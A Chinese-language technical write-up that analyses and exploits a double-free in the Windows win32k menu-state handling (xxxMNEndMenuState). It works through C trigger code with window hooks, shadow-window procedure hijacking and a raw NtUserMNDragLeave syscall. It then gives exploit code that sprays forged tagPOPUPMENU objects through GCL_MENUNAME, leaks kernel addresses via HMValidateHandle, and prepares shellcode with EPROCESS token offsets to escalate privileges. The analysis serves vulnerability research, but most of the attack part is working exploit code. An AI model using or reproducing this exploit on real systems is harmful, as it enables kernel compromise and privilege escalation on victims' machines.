在函数 MNFreePopup 的末尾,由于已完成对各个成员域的解锁和释放,系统调用函数 ExFreePoolWithTag 释放目标弹出菜单 tagPOPUPMENU 对象。

通过分析代码可知,函数 xxxMNEndMenuState 在调用函数 MNFreePopup 释放弹出菜单信息结构体的各个成员域之后,会将当前菜单状态对象的成员域 pmnsPrev 存储的前菜单状态对象指针赋值给当前线程信息结构体对象的成员域 pMenuState 指针,而通常情况下 pmnsPrev 的值为 0

kd> ub
win32k!xxxMNEndMenuState+0x50:
93a96022 8b4620          mov     eax,dword ptr [esi+20h]
93a96025 898704010000    mov     dword ptr [edi+104h],eax
kd> r eax
eax=00000000

函数 xxxMNEndMenuState 重置线程信息结构体 pMenuState 成员域

然而在菜单弹出期间,系统在各个追踪弹出菜单的函数或系统服务中都是通过线程信息对象的成员域 pMenuState 指针来获取菜单状态的,如果该成员域被赋值为其他值,就将导致触发漏洞的途径中某个节点直接失败而返回,造成漏洞利用失败。因此想要重新使线程执行流触达 xxxMNEndMenuState 函数中释放当前 tagPOPUPMENU 对象的位置以实现对目标漏洞的触发,则必须在系统重置线程信息对象的成员域 pMenuState 之前的时机进行

在函数释放成员域 pGlobalPopupMenu 指向的根弹出菜单对象和重置线程信息对象的成员域 pMenuState 之间,只有两个函数调用:

UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);

菜单状态结构体的成员域 uButtonDownHitAreauDraggingHitArea 存储当前鼠标点击坐标位于的窗口对象指针和鼠标拖拽坐标位于的窗口对象指针。函数通过调用 UnlockMFMWFPWindow 函数解除对这两个成员域的赋值锁。

函数 UnlockMFMWFPWindow 在对目标参数进行简单校验之后调用 HMAssignmentUnlock 函数执行具体的解锁操作。


函数 xxxMNEndMenuState 的简要执行流

聚焦 uButtonDownHitArea 成员域,该成员域存储当前鼠标按下的坐标区域所属的窗口对象地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,需要在系统处理鼠标按下消息期间,用户进程发起菜单终止的操作,以使执行流进入函数 xxxMNEndMenuState 并执行到解锁成员域 uButtonDownHitArea 的位置时,该成员域中存储合法的窗口对象的地址。

系统在销毁该窗口对象期间,会同时销毁与该窗口对象关联的阴影窗口对象。阴影窗口对象不带有专门的窗口消息处理函数,因此可以在用户进程中将窗口对象的消息处理函数成员域篡改为由用户进程自定义的消息处理函数,在自定义函数中,再次触发菜单终止的任务,致使漏洞成功触发。

0x3 触发

接下来通过构造验证代码在系统调用 xxxMNEndMenuState 函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域 pMenuState 之前,使线程的执行流再次进入 xxxMNEndMenuState 函数调用,致使触发对目标成员域 pGlobalPopupMenu 指向对象的重复释放。

在用户进程中首先为验证代码创建单独的线程,利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 bDoneExploit 是否被赋值以等待下一步操作。


验证代码主函数

验证代码首先通过调用 CreatePopupMenu 等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数 xxxMNLoop 的循环等待状态,导致无法在同一线程中执行其他操作,对漏洞触发造成难度,因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的 tagPOPUPMENU 类型的对象,而是带有 MFISPOPUP 标志位状态的 tagMENU 对象。结构体 tagMENU 是菜单对象的实体,而 tagPOPUPMENU 是用来描述菜单对象实体的弹出状态的对象,在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁,需要注意两者的区别。

接下来通过 AppendMenuA 为两个菜单添加菜单项,并使第二个成为第一个的子菜单。

LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize  = sizeof(mi);
mi.fMask   = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

创建并关联两个菜单对象的验证代码

接下来创建一个普通的窗口对象 hWindowMain 以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI 界面程序,则获取默认的窗口对象句柄即可,这一步就不需要创建额外的窗口对象了。

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建用来拥有弹出菜单的主窗口对象的验证代码

通过函数 SetWindowsHookExW 创建类型为 WH_CALLWNDPROC 关联当前线程的挂钩程序,并通过 SetWinEventHook 创建范围包含 EVENT_SYSTEM_MENUPOPUPSTART 的关联当前进程和线程的事件通知消息处理程序。前面已经提到,设置 WH_CALLWNDPROC 类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 EVENT_SYSTEM_MENUPOPUPSTART 表示目标弹出菜单已被显示在屏幕上。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

创建消息挂钩和事件通知程序的验证代码

验证代码调用函数 TrackPopupMenuEx 使第一个菜单作为根菜单在创建的窗口中弹出。

TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

调用函数 TrackPopupMenuEx 的验证代码

接着通过调用 GetMessageDispatchMessage 等函数在当前线程中实现消息循环。

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

实现消息循环的验证代码

在用户进程中验证代码调用函数 TrackPopupMenuEx 使执行流在内核中进入 xxxTrackPopupMenuEx 函数。


验证代码主函数执行逻辑


自定义挂钩处理函数

在函数 TrackPopupMenuEx 执行期间,系统调用函数 xxxCreateWindowEx 创建新的菜单类型的窗口对象。就像前面的章节提到的那样,创建窗口对象成功时,函数向该窗口对象发送 WM_NCCREATE 消息。在函数 xxxSendMessageTimeout 调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。

在自定义挂钩处理函数 xxWindowHookProc 中,我们根据参数 lParam 指向 tagCWPSTRUCT 对象的成员域 message 判断当前处理的消息是否为 WM_NCCREATE 消息,不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称,当类名称为 #32768 时,表示这是创建的菜单窗口对象,因此将该句柄记录下来以备后续引用。

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    if (cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    if (!wcscmp(szTemp, L"#32768"))
    {
        hwndMenuHit = cwp->hwnd;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

在挂钩处理程序中记录 #32768 窗口的句柄

在目标菜单窗口对象创建完成时,系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间,系统为该窗口对象创建关联的类型为 SysShadow 的阴影窗口对象。同样地,创建阴影窗口对象并发送 WM_NCCREATE 消息时,系统也会调用 xxxCallHook 函数来分发调用挂钩程序。

前面章节的“终止菜单”部分的分析已知,在函数 xxxEndMenuLoop 调用期间,系统对每个弹出菜单窗口对象都调用了两次 xxxRemoveShadow 函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。因此我们要想办法为成员域 uButtonDownHitArea 存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。

回到验证代码的自定义挂钩处理函数中,在判断窗口类名称的位置增加判断是否为 SysShadow 的情况。如果命中这种情况,我们通过调用函数 SetWindowPos 对先前保存句柄指向的类名称为 #32768 的窗口对象依次设置 SWP_HIDEWINDOWSWP_SHOWWINDOW 状态标志,使窗口先隐藏后显示,再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。

在执行流进入自定义挂钩处理函数的 SysShadow 处理逻辑时,在内核中正处于创建阴影窗口的 xxxCreateWindowEx 执行期间,此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来,它们的关联关系尚未被插入 gpShadowFirst 链表中。此时对目标菜单对象调用 SetWindowPos 以设置 SWP_SHOWWINDOW 状态标志,将导致系统对目标菜单窗口创建并关联多个阴影窗口对象,后创建的阴影窗口对象将被先插入 gpShadowFirst 链表中,从而位于链表中更靠后的位置。


多阴影窗口关联的插入链表和位置顺序逻辑

在自定义挂钩处理函数的 SysShadow 处理逻辑中,对进入次数进行计数,对前 2 次进入的情况调用函数 SetWindowPos 以触发创建新的阴影窗口关联的逻辑;到第 3 次进入的情况时,我们通过调用函数 SetWindowLong 将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。

if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
    if (++iShadowCount == 3)
    {
        SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
    }
    else
    {
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
    }
}

对目标菜单窗口对象创建多阴影窗口关联的验证代码

一切处理妥当后,需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。


创建多个阴影窗口对象的执行逻辑


自定义事件通知处理函数

在内核函数 xxxTrackPopupMenuEx 中处理完成对根弹出菜单窗口对象的创建时,系统调用 xxxWindowEvent 函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这将进入我们先前设置的自定义事件通知处理函数 xxWindowEventProc 中。每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。

在验证代码的自定义事件通知处理函数 xxWindowEventProc 中进行计数,当第 1 次进入函数时,表示根弹出菜单已在屏幕中显示,因此通过调用函数 SendMessage 向参数句柄 hwnd 指向的菜单窗口对象发送 WM_LBUTTONDOWN 鼠标左键按下的消息,并在参数 lParam 传入按下的相对坐标。在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键还是右键,设置为 1 表示 MK_LBUTTON 左键。

在内核中消息处理函数 xxxMenuWindowProc 接收并处理该消息,这将导致最终调用到函数 xxxMNOpenHierarchy 以创建新弹出的子菜单的相关对象。类似地,在处理完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy 调用函数 xxxWindowEvent 发送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这使得执行流再次进入自定义事件通知处理函数 xxWindowEventProc 中。

当第 2 次进入函数 xxWindowEventProc 时,表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 SendMessage 向目标子菜单窗口对象发送 MN_ENDMENU 菜单终止的消息,这将导致执行流最终进入内核函数 xxxMNEndMenuState 中。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    }
}

事件通知处理函数发送消息的验证代码

执行流进入函数 xxxMNEndMenuState 时,线程关联的菜单状态对象成员域 uButtonDownHitArea 存储最后处理鼠标按下消息时按下坐标位于的窗口对象(即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象)的指针。位于 gShadowFirst 链表中与该菜单窗口对象关联的最开始的两个阴影窗口已在函数 xxxEndMenuLoop 执行期间被解除关联并销毁,此时链表中仍存在与该菜单窗口对象关联的最后 1 个阴影窗口关联节点,该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。

函数在 MNFreePopup 中释放当前根弹出菜单对象之后调用函数 UnlockMFMWFPWindow 以解锁成员域 uButtonDownHitArea 存储的目标菜单窗口对象时,不出意外的话,此时该菜单窗口对象的锁计数归零,因此窗口管理器将调用销毁函数 xxxDestroyWindow 以执行销毁任务。这将解除关联并销毁第 3 个关联的阴影窗口对象,并使执行流进入先前篡改的自定义消息处理函数中。


阴影窗口自定义消息处理函数

在验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc 中,判断消息参数是否为 WM_NCDESTROY 类型。如果是的话,则在此直接调用 NtUserMNDragLeave 系统服务。

ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
    __asm { mov eax, num };
    __asm { int 2eh };
}

CONST UINT num_NtUserMNDragLeave = 0x11EC;

LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

阴影窗口自定义消息处理函数的验证代码

函数 NtUserMNDragLeave 原本用于结束菜单的拖拽状态。在该函数执行期间,系统在进行一系列的判断和调用之后,最终在函数 xxxUnlockMenuState 中调用 xxxMNEndMenuState 函数:

  bZeroLock = menuState->dwLockCount-- == 1;
  if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
  {
    xxxMNEndMenuState(1);
    result = 1;
  }

函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数

这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 pGlobalPopupMenu 指向的根弹出菜单对象被重复释放,导致系统 BSOD 的发生。


根弹出菜单对象重复释放导致系统 BSOD 的发生

0x4 利用

前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发,通过循序渐进的方式构造利用代码,最终实现利用和提权的目的。


初始化利用数据

在利用代码中自定义结构体 SHELLCODE 以存储与利用相关的数据:

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

自定义的 SHELLCODE 结构体定义

在利用代码的早期阶段在用户进程中分配完整内存页的 RWX 内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc 起始的内存地址。

pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
    return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName    = 0x050;
pvShellCode->off_THREADINFO_ppi      = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token      = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

初始化分配的 SHELLCODE 结构体内存区域

成员域 pfnWindProc 起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。


伪造根弹出菜单对象

在用户进程验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc 执行期间,需要通过相关函数在内核中分配与 tagPOPUPMENU 结构体相同大小的缓冲区以占位刚释放的内存空隙,伪造新的弹出菜单对象,使系统误认为弹出菜单对象仍旧正常存在于内核中。

这在利用代码中将通过调用函数 SetClassLong 对大量的窗口对象设置 MENUNAME 字段的方式实现。这些窗口对象需要在首次调用函数 TrackPopupMenuEx 之前完成创建和初始化。

回到验证代码调用函数 TrackPopupMenuEx 之前创建菜单对象的位置,在此时机增加调用函数 CreateWindowEx 以创建大量窗口对象,并为每个窗口对象注册单独的窗口类。

for (INT i = 0; i < 0x100; ++i)
{
    WNDCLASSEXW Class = { 0 };
    WCHAR szTemp[20] = { 0 };
    HWND hwnd = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize        = sizeof(WNDCLASSEXW);
    Class.lpfnWndProc   = DefWindowProcW;
    Class.cbWndExtra    = 0;
    Class.hInstance     = GetModuleHandleA(NULL);
    Class.lpszMenuName  = NULL;
    Class.lpszClassName = szTemp;
    RegisterClassExW(&Class);
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
        0,
        0,
        0,
        0,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
    hWindowList[iWindowCount++] = hwnd;
}

创建大量普通窗口对象的利用代码

接下来在验证代码的自定义阴影窗口消息处理函数 xxShadowWindowProc 中调用系统服务 NtUserMNDragLeave 之前,增加对前面批量创建的普通窗口对象设置 GCL_MENUNAME 的调用:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208;  //->flags
dwPopupFake[0x1] = 0xDDDDDDDD;  //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD;  //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD;  //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD;  //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD;  //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD;  //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD;  //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD;  //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD;  //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD;  //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD;  //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

为普通窗口对象设置 MENUNAME 字段的利用代码

由于 MENUNAME 字段属于 WCHAR 字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 0 的情况。通过调用函数 SetClassLongW 为目标窗口对象设置 MENUNAME 字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS 对象的成员域 lpszMenuName 分配并设置 UNICODE 字符串缓冲区。

由于成员域 lpszMenuName 指向的缓冲区和弹出菜单 tagPOPUPMENU 对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME 缓冲区长度设置为与 tagPOPUPMENU 大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME 缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU 对象。


通过设置 GCL_MENUNAME 占用原根弹出菜单对象内存区域

为使在稍后位置调用的系统服务 NtUserMNDragLeave 能依据伪造的根弹出菜单对象再次进入函数 xxxMNEndMenuState 调用,需要将伪造对象的成员域 flags 进行稍微设置,将关键标志位置位,其余标志位置零。

kd> dt win32k!tagPOPUPMENU 0141fb44 
   [...]
   +0x000 fIsTrackPopup    : 0y1
   [...]
   +0x000 fFirstClick      : 0y1
   [...]
   +0x000 fDestroyed       : 0y1
   +0x000 fDelayedFree     : 0y1
   [...]
   +0x000 fInCancel        : 0y1
   [...]
   +0x004 spwndNotify      : 0xdddddddd tagWND
   +0x008 spwndPopupMenu   : 0xdddddddd tagWND
   +0x00c spwndNextPopup   : 0xdddddddd tagWND
   +0x010 spwndPrevPopup   : 0xdddddddd tagWND
   +0x014 spmenu           : 0xdddddddd tagMENU
   +0x018 spmenuAlternate  : 0xdddddddd tagMENU
   +0x01c spwndActivePopup : 0xdddddddd tagWND
   +0x020 ppopupmenuRoot   : 0xdddddddd tagPOPUPMENU
   +0x024 ppmDelayedFree   : 0xdddddddd tagPOPUPMENU
   +0x028 posSelectedItem  : 0xdddddddd
   +0x02c posDropped       : 0xdddddddd

伪造的 tagPOPUPMENU 对象的成员域数据


伪造弹出菜单对象成员域

前面伪造的 tagPOPUPMENU 对象重新占用了先前释放的根弹出菜单对象的内存区域,并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置,这样一来在函数 xxxMNEndMenuState 中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置,使其指向有效的内存空间,以使内核逻辑能够正常向后执行。

回到验证代码中创建作为弹出菜单拥有者的窗口对象 hWindowMain 的位置,增加创建新的用作利用载体的普通窗口对象 hWindowHunt 的代码:

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0x200;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
    L"WNDCLASSHUNT",
    NULL,
    WS_OVERLAPPED,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建用来作为利用载体的窗口对象的利用代码

载体窗口对象 hWindowHunt 具有 0x200 字节大小的扩展区域,扩展区域紧随基础的 tagWND 对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行 xxxMNEndMenuState 期间,执行流能正常稳定地执行。

接下来通过 HMValidateHandle 内核对象地址泄露技术获取载体窗口对象的 tagWND 内核地址。窗口对象 tagWND 的头部结构是一个 THRDESKHEAD 成员结构体对象,完整的结构体定义如下:

kd> dt win32k!_THRDESKHEAD
   +0x000 h                : Ptr32 Void
   +0x004 cLockObj         : Uint4B
   +0x008 pti              : Ptr32 tagTHREADINFO
   +0x00c rpdesk           : Ptr32 tagDESKTOP
   +0x010 pSelf            : Ptr32 UChar

结构体 THRDESKHEAD 的定义

其中成员域 pSelf 指向所属用户对象的内核首地址。因此通过该指针加上 tagWND 结构体的大小定位到当前窗口对象的扩展区域的内核地址。

根据代码分析,函数 xxxMNEndMenuState 在执行的初始阶段调用函数 MNEndMenuStateNotify 用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下,清理通知线程的线程信息对象的成员域 pMenuState 数值。然而不幸的是,由于伪造的 tagPOPUPMENU 对象已覆盖原有数据,因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
    SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti

填充载体窗口对象扩展区域的利用代码

将载体窗口对象的扩展区域预留 4 字节,将剩余 0x1FC 字节的内存区域全部填充为扩展区域 +0x04 字节偏移的地址,填充的数值将作为各种伪造对象的句柄、引用计数或对象指针成员域。

接下来将剩余内存区域 +0x44 字节偏移的内存数据作为伪造的内核用户对象头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU 对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc 中替换原来的初始化 MENUNAME 字段缓冲区的利用代码:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake;  //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped
dwPopupFake[0xC] = (DWORD)0;

更新的初始化 MENUNAME 缓冲区的利用代码

其中例外的成员域 ppopupmenuRootposSelectedItem 被填充为 0xFFFFFFFF 以防止执行流误入歧途。由于伪造对象头部 pvHeadFake 指向的内存区域对应的成员域 cLockObj 具有极大的数值,因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数,因此异常将不会发生。

在函数 xxxMNEndMenuState 第二次执行期间,在原位置重新分配的伪造根弹出菜单 tagPOPUPMENU 对象在函数 MNFreePopup 中释放。


内核地址泄露技术

本分析中使用了 HMValidateHandle 内核地址泄露技术。在 user32 模块中,在操作一些用户对象时,为了提升效率以便于直接在用户模式获取目标用户对象的数据,系统提供了未导出的函数 HMValidateHandle 以供模块内部使用。

这个函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出,但在一些导出函数中调用,例如 IsMenu 函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 2(TYPE_MENU) 传入函数 HMValidateHandle 调用,并判断函数返回值是否不为空,并返回判断的结果。

.text:76D76F0E 8B FF          mov     edi, edi
.text:76D76F10 55             push    ebp
.text:76D76F11 8B EC          mov     ebp, esp
.text:76D76F13 8B 4D 08       mov     ecx, [ebp+hMenu]
.text:76D76F16 B2 02          mov     dl, 2
.text:76D76F18 E8 73 5B FE FF call    @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8          neg     eax
.text:76D76F1F 1B C0          sbb     eax, eax
.text:76D76F21 F7 D8          neg     eax
.text:76D76F23 5D             pop     ebp
.text:76D76F24 C2 04 00       retn    4

函数 IsMenu 的指令片段

因此我们可以通过硬编码匹配的方式,从 user32 模块的导出函数 IsMenu 中查找并计算函数 HMValidateHandle 的地址。

static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
        if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
        {
            continue;
        }
        i += 2;
        if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
        {
            continue;
        }
        Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
        Address = Address + i + 5;
        pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
        break;
    }
}

查找并计算 HMValidateHandle 函数地址的利用代码

目标函数查找到之后,在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄,调用成功时则返回目标对象在用户进程桌面堆中的映射地址。

#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
    return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

获取目标窗口对象在桌面堆中的映射地址的利用代码

窗口对象的头部结构是一个 THRDESKHEAD 成员结构体对象,其中存在子成员域 pSelf 指向所属窗口对象的内核首地址。


内核模式代码执行

成员标志位 bServerSideWindowProc 位于 tagWND 对象标志成员域的第 18 比特位,其之前的两个标志位是 bDialogWindowbHasCreatestructName 标志位:

kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   [...]
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit

标志位 bDialogWindow 的位置是 bServerSideWindowProc 所在字节的起始比特位。通过研究发现,在创建普通窗口对象时,如果样式参数 dwStyle 和扩展样式参数 dwExStyle 都传值为 0 默认值,那么在内核中成员域 bDialogWindowbHasCreatestructName 都将未被置位。因此可以借助这个特性,实现对目标关键标志位的置位。

在利用代码中填充载体窗口对象的扩展区域内存期间,增加通过内核地址泄露技术获取窗口对象成员域 bDialogWindow 的地址的调用:

